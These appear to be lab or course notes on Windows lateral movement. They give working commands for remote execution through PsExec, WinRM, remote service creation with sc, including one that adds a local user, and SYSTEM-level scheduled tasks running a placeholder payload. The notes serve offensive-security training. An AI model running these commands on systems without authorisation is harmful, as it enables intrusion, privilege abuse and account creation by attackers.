- 1. PSEXEC
- 2. Remote Process Creation Using WinRM
- 3. Remotely Creating Services Using sc
- 4. Creating Scheduled Tasks Remotely
- Ports: 445/TCP (SMB)
- Required Group Memberships: Administrators
- Part of sysinternals
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
- Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- Required Group Memberships: Remote Management Users
winrs.exe -u:Administrator -p:Mystrongpassword -r:target cmd
$username = 'Administrator';
$password = 'Mystrongpassword';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername TARGET -Credential $credential
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
- Ports:
- 135/TCP, 49152-65535/TCP (DCE/RPC)
- 445/TCP (RPC over SMB Named Pipes)
- 139/TCP (RPC over SMB Named Pipes)
- Required Group Memberships: Administrators
sc.exe \\TARGET create SERVICENAME binPath= "net user USERNAME PASSWORD /add" start= auto
sc.exe \\TARGET start SERVICENAME
Notes : The "net user" command will be executed when the service is started, creating a new local user on the system. Since the operating system is in charge of starting the service, you won't be able to look at the command output.
sc.exe \\TARGET stop SERVICENAME
sc.exe \\TARGET delete SERVICENAME
Another Windows feature we can use is Scheduled Tasks. You can create and run one remotely with schtasks, available in any Windows installation.
schtasks /s TARGET /RU "SYSTEM" /create /tn "MYTASK" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/2023 /st 00:00
schtasks /s TARGET /run /TN "MYTASK"
Notes : We set the schedule type (/sc) to ONCE, which means the task is intended to be run only once at the specified time and date. Since we will be running the task manually, the starting date (/sd) and starting time (/st) won't matter much anyway. Since the system will run the scheduled task, the command's output won't be available to us, making this a blind attack.
schtasks /S TARGET /TN "MYTASK" /DELETE /F